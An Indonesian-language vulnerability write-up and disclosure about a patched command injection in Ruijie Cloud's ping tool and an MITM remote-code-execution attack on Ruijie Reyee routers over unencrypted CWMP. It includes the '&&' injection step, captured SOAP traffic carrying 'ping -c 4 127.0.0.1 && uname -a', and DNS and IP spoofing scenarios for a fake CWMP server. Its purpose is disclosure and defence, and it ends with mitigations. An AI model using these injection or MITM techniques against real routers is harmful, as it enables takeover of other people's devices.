Take Over Ruijie Reyee Wireless Router via RCE in Cloud Controller Communication Using MITM Scenario
Table of Contents
Latar Belakang #
Penulisan ini berawal pada saat saya menemukan adanya celah Command Injection di Website Ruijie Cloud Controller yang berhasil menjalankan perintah pada sistem perangkat Ruijie Reyee Wireless Router milik saya yang sudah tersambung di akun Ruijie Cloud saya. Setelah beberapa kali mencoba memahami bagaimana perangkat Ruijie Reyee Wireless Router saya berkomunikasi dengan web controller Ruijie Cloud untuk menjalankan perintah di sistem perangkat, saya mengetahui bahwa komunikasi tersebut menggunakan protokol yang tidak aman (unencrypted protocol) yaitu HTTP (Hypertext transfer protocol). Hal ini menyebabkan proses komunikasi dapat dilihat dengan jelas dan bahkan beresiko pada manipulasi data saat proses komunikasi berlangsung.
Tujuan #
Tujuan dari penulisan ini adalah untuk menggali dan mengeksplorasi kerentanan pada Website Ruijie Cloud Controller dan perangkat Ruijie Reyee Wireless Router serta mengevaluasi metode Man-in-The-Middle (MITM) untuk melakukan Remote Code Execution (RCE) melalui komunikasi CPE WAN Management Protocol (CWMP) pada perangkat tersebut. Selain itu, tulisan ini juga akan membahas mitigasi yang dapat dilakukan untuk mencegah serangan Remote Code Execution (RCE) pada perangkat Ruijie Reyee Wireless Router pada versi yang terdampak.
Disclaimer #
Sebelum membahas lebih lanjut, saya ingin memberikan informasi bahwa saya menemukan 2 vulnerability yaitu “Authenticated Remote Code Execution (RCE) in Ruijie Reyee Cloud Web Controller” dan “Ruijie Reyee Wireless Router firmware version EW_3.0(1)B11P204 - MITM Remote Code Execution (RCE)” yang merupakan 0-day (zeroday) karena saya belum menemukan vulnerability yang memiliki proses dan skenario yang sama dengan temuan saya dan sudah saya laporkan namun belum ada tanggapan apapun dari pihak Ruijie Reyee. Sekitar 2 bulan setelah saya mengirimkan laporan, pihak Ruijie Reyee merilis firmware baru dengan versi EW_3.0(1)B11P219 dan setelah saya coba kembali menggunakan skenario yang sama pada kedua temuan saya menggunakan firmware EW_3.0(1)B11P219 sudah tidak bisa (sudah di-patch). Berikut detail timeline beserta cuplikan komunikasi saya dengan pihak Ruijie Reyee.
2023-04-15: Vulnerability discovered.
2023-04-17: The initial contact inquired about Security Vulnerability Reporting to the vendor, contacted the vendor via live chat on their website and was directed to inquire via email to info()ruijienetworks.com, far()ruijienetworks.com, zhoubi()ruijie.com.cn for more details.
2023-04-17: Contacting vendor via email about Security Vulnerability Reporting.
2023-05-25: No reply received, sent them the details of the vulnerability discovered.
2023-07-02: Vendor release new firmware version EW_3.0(1)B11P219 for EW1200G-PRO device and other related devices.
2023-07-02: Firmware version EW_3.0(1)B11P219 has confirmed to be the patch for this vulnerability after unsuccessful reproduce PoC.
2023-08-04: Still no reply or confirmation received about the report, public disclosure of vulnerability. https://github.com/ruzfi/advisory/tree/main/ruijie-wireless-router-mitm-rce
Pengertian Metode Man-in-The-Middle (MITM) #
Metode Man-in-The-Middle (MITM) adalah serangan siber di mana penyerang memposisikan diri di antara pengguna dan server. Penyerang dapat memantau atau mengubah data yang dikirimkan antara pengguna dan server.
Pengertian CPE WAN Management Protocol (CWMP) #
CPE WAN Management Protocol (CWMP) adalah protokol yang digunakan untuk mengelola perangkat yang terhubung ke jaringan internet melalui koneksi Wide Area Network (WAN). CWMP digunakan pada perangkat seperti_ router_, modem, dan gateway.
Pengertian Remote Code Execution (RCE) #
Serangan Remote Code Execution (RCE) adalah serangan pada suatu sistem yang dimaksudkan untuk memasukkan kode berbahaya ke dalam sistem melalui celah keamanan. Kode berbahaya tersebut dapat dieksekusi dengan jangkauan akses dan kontrol yang sama seperti pengguna atau sistem yang terinfeksi.
Sekilas Perangkat yang digunakan #
Perangkat yang saya gunakan dalam analisa kali ini merupakan perangkat Ruijie Reyee Wireless Router dengan model EW1200G-PRO yang mendukung fitur Remote Management melalui Website dan Aplikasi Mobile Ruijie Cloud. Ruijie EW1200G-PRO memiliki spesifikasi singkat sebagai berikut:
https://www.ruijienetworks.com/products/REYEE-MeshWi-Fi/RG-EW1200G-PRO
- 802.11ac wave2
- Six omnidirectional antennas providing strong Wi-Fi signals
- Full coverage, easy setup, and seamless roaming
- Parental control and health mode
- 64 concurrent connections
- Easy network management at your fingertips with Reyee Router App
Dengan spesifikasi tersebut sangatlah cukup untuk penggunaan dalam ruangan.
Pada saat saya melakukan analisa, saya menggunakan versi firmware EW_3.0(1)B11P204.
Analisa Awal #
Analisa awal saya dimulai pada saat saya menjumpai fitur Diagnostic yang didalamnya terdapat beberapa alat yang biasa digunakan untuk melakukan diagnosa terhadap jaringan seperti ping, traceroute dan nslookup. Dari beberapa kasus alat tersebut rentan terhadap serangan OS command injection, akhirnya saya mencoba melakukan OS command injection secara langsung pada controller perangkat wireless router ini, namun setelah mencoba menggunakan beberapa cara sepertinya sudah dilakukan sanitasi dan filter terhadap input yang diproses, jadi percobaan OS command injection secara langsung pada controller perangkat wireless router ini tidak sukses.
Command Injection melalui Website Ruijie Cloud #
Setelah sebelumnya percobaan OS command injection melalui controller perangkat wireless routernya secara langsung tidak sukses, saya kembali mencoba menelusuri fitur-fitur yang menarik untuk dilakukan eksplorasi. Perangkat wireless router saya ini didukung dengan fitur Remote Management yang memungkinan agar perangkat bisa diakses dan dilakukan konfigurasi secara remote melalui Website dan Aplikasi Mobile Ruijie Cloud.
Seusai menghubungkan perangkat wireless router saya dengan cloud controller pada website ruijie cloud, perangkat wireless router saya sudah bisa diakses secara remote tanpa perlu berada dalam satu jaringan yang sama. Pada website cloud controller ini saya menemukan fitur diagnosa network yang didalamnya terdapat alat-alat yang sama pada controller di perangkatnya langsung. Setelah mencoba melakukan OS command injection ternyata saya berhasil melakukan OS command injection terhadap perangkat wireless router saya melalui website cloud controller ini. Langkah-langkah yang saya lakukan adalah sebagai berikut:
Buka website cloud controller https://cloud-as.ruijienetworks.com/ dan login menggunakan kredensial yang valid.
Setelah login, arahkan ke daftar perangkat Home Router.
- Periksa perangkat online yang tersedia.
- Kemudian buka menu Web CLI.
- Pilih Connectivity lalu pilih Ping Tool.
- Tulis alamat IP yang valid diikuti dengan simbol ‘&&’ dan OS command yang akan dicoba untuk dieksekusi pada perangkat.
OS command berhasil dijalankan pada perangkat router target.
Catatan: Langkah-langkah diatas berhasil saya lakukan pada bulan April 2023 dan sudah saya laporkan ke pihak Ruijie Reyee namun belum mendapat balasan. Pada saat tulisan ini dipublikasikan, kerentanan OS command injection pada website cloud controller ini sudah tidak bisa dilakukan karena sudah diperbaiki seperti yang sudah saya jelaskan pada bagian disclaimer diatas.
Analisa Lebih Lanjut Terhadap Perangkat #
Sesudah berhasil melakukan OS command injection di perangkat wireless router saya melalui website cloud controller, saya menjadi tertarik untuk memahami bagaimana perangkat wireless router saya berkomunikasi dengan cloud controller yang disediakan oleh ruijie, apakah menggunakan protokol tertentu atau mungkin ruijie membuat protokol sendiri dalam komunikasinya. Dengan menggunakan alat Packet Capture yang terdapat pada fitur diagnosa, saya tidak perlu melakukan packet capture dari luar perangkat tersebut. Setelah berhasil melakukan packet capture saya bisa mengunduh file pcap dan dilakukan analisa lebih lanjut.
Analisa Komunikasi Jaringan #
Dari hasil packet capture yang sebelumnya dilakukan, saya mencoba membaca lalu lintas paket jaringan yang direkam. Hasilnya adalah ada beberapa paket jaringan yang menggunakan protokol TCP yang didalamnya terdapat komunikasi antara wireless router saya dengan cloud controller. Saya akan menjelaskan sedikit mengenai komunikasi yang terjadi sebagai berikut.
Request pertama dari wireless router saya ke cloud controller #
Dalam request pertama ini, terlihat perangkat wireless router saya mengirimkan informasi berbentuk XML SOAP yang berisikan tipe, nomor seri, dan informasi lain.
POST /service/acs/G1QH4[REDACTED] HTTP/1.1
Host: 35.197.136.171
Content-Type: text/xml; charset="utf-8"
Content-Encoding: gzip
Content-Length: 563
<?xml version="1.0" encoding="UTF-8" standalone="no"?><soap_env:Envelope xmlns:soap_env="4" xmlns:soap_enc="3" xmlns:cwmp="2"><soap_env:Header><cwmp:ID>21</cwmp:ID></soap_env:Header><soap_env:Body><cwmp:Inform><DeviceId><ProductClass>EW1200G-PRO</ProductClass><SerialNumber>G1QH4[REDACTED]</SerialNumber></DeviceId><Event soap_enc:arrayType="cwmp:EventStruct[1]"><EventStruct><EventCode>6 CONNECTION REQUEST</EventCode><CommandKey></CommandKey></EventStruct></Event><ParameterList soap_enc:arrayType="cwmp:P[12]"><P><N>acsurl</N><V>http://35.197.136.171/service/acs/G1QH4[REDACTED]</V></P><P><N>cpeurl</N><V>http://192.168.87.249:7547/</V></P><P><N>stunclientip</N><V>[REDACTED]:[REDACTED]</V></P><P><N>swv</N><V>ReyeeOS 1.204.2430;EW_3.0(1)B11P204,Release(09243000)</V></P><P><N>hwv</N><V>1.20</V></P><P><N>devmode</N><V>ROUTER,1,1,none</V></P><P><N>mac</N><V>C4:70:AB:[REDACTED]</V></P><P><N>eid</N><V>dev_C4:70:AB:[REDACTED]_1681461997</V></P><P><N>epid</N><V></V></P><P><N>egid</N><V>0</V></P><P><N>emastersn</N><V>G1QH4[REDACTED]</V></P><P><N>estatus</N><V>CONNECT</V></P></ParameterList></cwmp:Inform></soap_env:Body></soap_env:Envelope>
Respon balasan dari cloud controller tidak memberikan informasi apapun.
HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Sat, 15 Apr 2023 03:24:08 GMT
Content-Type: text/xml;charset=utf-8
Content-Length: 566
Connection: keep-alive
<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">21</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
Request kedua dari wireless router saya ke cloud controller #
Selanjutnya pada request kedua ini, terlihat perangkat wireless router saya hanya mengirimkan request yang kosong ke cloud controller.
POST /service/acs/G1QH4[REDACTED] HTTP/1.1
Host: 35.197.136.171
Content-Type: text/xml
Content-Length: 0
Namun pada respon balasan dari cloud controller ada sesuatu yang menarik, yaitu terdapat perintah ping diikuti dengan OS command yang sebelumnya saya berikan.
HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Sat, 15 Apr 2023 03:24:08 GMT
Content-Type: text/xml;charset=utf-8
Content-Length: 785
Connection: keep-alive
Set-Cookie: JSESSIONID=EAB341BE95623A10CCC3A137EC01AF4A; Path=/service; HttpOnly
<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">ID:intrnl.unset.id.X_RUIJIE_COM_CN_ExecuteCliCommand1681532648964.50114638</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand><Mode>config</Mode><CommandList SOAP-ENC:arrayType="xsd:string[1]"><Command>ping -c 4 127.0.0.1 && uname -a</Command></CommandList></cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand></SOAP-ENV:Body></SOAP-ENV:Envelope>
Request ketiga dari wireless router saya ke cloud controller #
Pada request ketiga ini, terlihat perangkat wireless router saya mengirimkan request yang berisikan hasil eksekusi perintah ping dan juga OS command yang saya berikan sebelumnya ke cloud controller.
POST /service/acs/G1QH4[REDACTED] HTTP/1.1
Host: 35.197.136.171
Cookie: JSESSIONID=EAB341BE95623A10CCC3A137EC01AF4A
Content-Type: text/xml; charset="utf-8"
Content-Encoding: gzip
Content-Length: 520
<?xml version="1.0" encoding="UTF-8" standalone="no"?><soap_env:Envelope xmlns:soap_env="4" xmlns:soap_enc="3" xmlns:cwmp="2"><soap_env:Header><cwmp:ID>ID:intrnl.unset.id.X_RUIJIE_COM_CN_ExecuteCliCommand1681532648964.50114638</cwmp:ID></soap_env:Header><soap_env:Body><cwmp:X_RUIJIE_COM_CN_ExecuteCliCommandResponse><ResponseList
soap_enc:arrayType="cwmp:X_RUIJIE_COM_CN_ExecuteCliCommandResponse[1]"><ResponseStruct><Command>ping -c 4 127.0.0.1 && uname -a</Command><Response>PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.420 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.300 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.320 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.280 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.280/0.330/0.420 ms
Linux Ruijie 3.10.108 #1 SMP Fri Dec 30 00:40:23 UTC 2022 mips GNU/Linux
</Response></ResponseStruct></ResponseList></cwmp:X_RUIJIE_COM_CN_ExecuteCliCommandResponse></soap_env:Body></soap_env:Envelope>
Setelah menerima hasil eksekusi perintah, cloud controller tidak memberikan informasi apapun pada respon balasannya.
HTTP/1.1 204 No Content
Server: nginx/1.16.1
Date: Sat, 15 Apr 2023 03:24:12 GMT
Content-Type: text/xml;charset=utf-8
Connection: keep-alive
Dari komunikasi TCP tersebut bisa disederhanakan bahwa alurnya yang pertama adalah perangkat wireless router saya mengirimkan informasi tentang detail perangkat dan selanjutnya cloud controller merespon tanpa informasi apapun, selanjutnya yang kedua perangkat saya mengirimkan request tanpa ada informasi apapun dan cloud controller memberikan perintah yang harus dijalankan di perangkat wireless router saya. Setelah perangkat wireless router saya selesai melakukan eksekusi perintah yang diberikan maka perangkat wireless router saya akan mengirimkan request berisikan hasil dari eksekusi perintah dan cloud controller membalas dengan respon kosong. Agar lebih mempermudah pemahaman komunikasinya maka saya gambarkan seperti ilustrasi berikut.
Merancang Skenario MITM #
Setelah mengetahui sedikit lebih detail mengenai bagaimana perangkat router yang berada di jaringan lokal dan cloud controller saling berkomunikasi, saya mencoba membuat beberapa skenario bagaimana bisa dilakukan penyerangan dengan menggunakan metode Man-in-The-Middle (MITM). Namun sebelum itu saya akan memberikan sedikit penjelasan mengenai DNS (Domain Name System) dan Alamat IP.
DNS (Domain Name System) merupakan sistem yang digunakan untuk menerjemahkan nama domain menjadi alamat IP yang sesuai. Ini dapat memungkinkan pengguna untuk mengakses situs web dengan menggunakan nama domain yang mudah diingat, seperti www.example.com, dibandingkan harus mengingat alamat IP numerik yang panjang. Secara analoginya DNS berfungsi sebagai buku telepon Internet yang menghubungkan nama domain dengan alamat IP.
Alamat IP (Internet Protocol Address) merupakan serangkaian angka unik yang menandai setiap perangkat yang terhubung ke jaringan komputer. Alamat IP digunakan untuk mengidentifikasi dan mengarahkan lalu lintas data di Internet. Ada dua versi utama alamat IP: IPv4 (Internet Protocol version 4) yang menggunakan format 32-bit dan IPv6 (Internet Protocol version 6) yang menggunakan format 128-bit. Alamat IP memungkinkan perangkat komunikasi dan berinteraksi satu sama lain di Internet.
Setelah memahami penjelasan mengenai DNS dan Alamat IP, selanjutnya saya akan memberikan beberapa skenario MITM yang bisa dilakukan untuk menjalankan serangan ini.
Skenario DNS Spoofing #
DNS Spoofing (Domain Name System Spoofing) adalah salah satu teknik yang bisa digunakan dalam serangan Man-in-the-Middle (MITM) untuk memanipulasi resolusi DNS (Domain Name System) agar korban diarahkan menuju ke alamat IP yang ditentukan oleh penyerang.
Pertama penyerang akan melakukan memberikan DNS entry yang palsu kedalam DNS server yang juga digunakan oleh router target. Setelah DNS entry yang palsu telah masuk kedalam DNS server yang digunakan oleh router target, maka setiap komunikasi CWMP dari router target akan diarahkan ke server CWMP yang palsu milik penyerang. Sampai tahap ini penyerang dapat membaca isi dari permintaan yang dikirim oleh router target dan membalas permintaan tersebut dengan kondisi yang diinginkan oleh penyerang.
Skenario IP Address Spoofing #
Teknik ini memiliki tingkat kesuksesan yang rendah karena dipengaruhi oleh konsep jaringan yang sedang digunakan. Pertama penyerang perlu berada dalam jaringan yang sama dengan router target, selanjutnya penyerang akan menyiapkan server CWMP yang palsu untuk menggunakan alamat IP yang sama dengan server CWMP milik Ruijie Cloud. Setelah server CWMP yang palsu memiliki alamat IP yang sama dengan server CWMP milik Ruijie Cloud, maka setiap komunikasi CWMP dari router target akan memiliki kemungkinan diarahkan ke server CWMP yang palsu milik penyerang. Sampai tahap ini penyerang dapat membaca isi dari permintaan yang dikirim oleh router target dan membalas permintaan tersebut dengan kondisi yang diinginkan oleh penyerang.
Skenario IP Address Spoofing (Redirect Packet) #
Teknik ini memiliki tingkat kesuksesan yang tinggi namun memerlukan hak akses yang tinggi terhadap jaringan yang akan digunakan pada skenario ini. Pertama penyerang sudah mempunyai akses terhadap router/infrastruktur yang berada diatas router target, selanjutnya penyerang akan menyiapkan server CWMP yang palsu dan membelokkan komunikasi yang dilakukan oleh router target ke server CWMP milik Ruijie Cloud menuju ke server CWMP yang palsu. Setelah komunikasi berhasil dibelokkan, maka setiap komunikasi CWMP dari router target akan diarahkan ke server CWMP yang palsu milik penyerang. Sampai tahap ini penyerang dapat membaca isi dari permintaan yang dikirim oleh router target dan membalas permintaan tersebut dengan kondisi yang diinginkan oleh penyerang.
Eksploitasi #
Setelah memahami bagaimana komunikasi antara perangkat router dengan server CWMP maka bisa dilakukan alur yang sama namun dengan menggunakan server CWMP palsu yang dibuat untuk mengirimkan OS command sesuai yang dikehendaki.
Penjelasan, sumber kode beserta firmware yang memiliki celah ini bisa dilihat di repository saya
https://github.com/ruzfi/advisory/tree/main/ruijie-wireless-router-mitm-rce
Tahap 1 - Menjalankan Skenario MITM #
Sambungkan perangkat ruijie wireless router ke jaringan yang akan meneruskan paket dari alamat IP domain rekaman A/AAAA cwmpb-as.ruijienetworks.com (tergantung pada server cwmp yang telah dikonfigurasi pada perangkat) ke alamat IP perangkat server MITM
Tahap 2 - Mendeploy Server CWMP Palsu #
Jalankan script ruijie-fake-cwmp-server.py untuk membuat server CWMP palsu yang akan berkomunikasi dengan perangkat target untuk mengumpulkan informasi tentang perangkat dan mengirimkan OS command untuk dieksekusi.
Pada screenshot ini, server CWMP palsu akan mengirimkan uname -a untuk dijalankan pada perangkat target
Tahap 3 - OS Command dijalankan pada perangkat #
Script python akan menampilkan informasi tentang perangkat target dan menampilkan respons dari OS command yang berhasil dijalankan pada perangkat target.
Langkah Mitigasi #
Setelah berhasil melakukan analisa dan melakukan skenario eksploitasi langkah-langkah yang bisa dilakukan untuk menghindari serangan ini adalah dengan tidak menggunakan perangkat tersebut sampai mendapatkan rilis perbaikan untuk menutup celah serangan ini. Apabila tidak memungkinkan untuk tidak menggunakan perangkat yang terdampak tersebut maka langkah selanjutnya adalah melakukan filter terhadap komunikasi ke server CWMP, tentu hal ini membutuhkan effort yang lebih banyak karena perlu mengetahui IP server CWMP yang dituju.
Saat tulisan ini dipublikasikan, vendor Ruijie Reyee sudah merilis firmware yang baru untuk perangkat ini dengan versi firmware EW_3.0(1)B11P219, jadi saya sarankan untuk melakukan upgrade versi firmware agar dapat meminimalisir terjadinya serangan dengan metode yang sedang dibahas. Pada versi firmware EW_3.0(1)B11P219 skenario celah keamanan ini sudah tidak bisa dilakukan kembali, karena setelah dilakukan analisa lebih lanjut untuk versi firmware tersebut sudah tidak lagi menggunakan komunikasi HTTP yang tidak terenkripsi seperti yang dijelaskan pada pembahasan topik ini.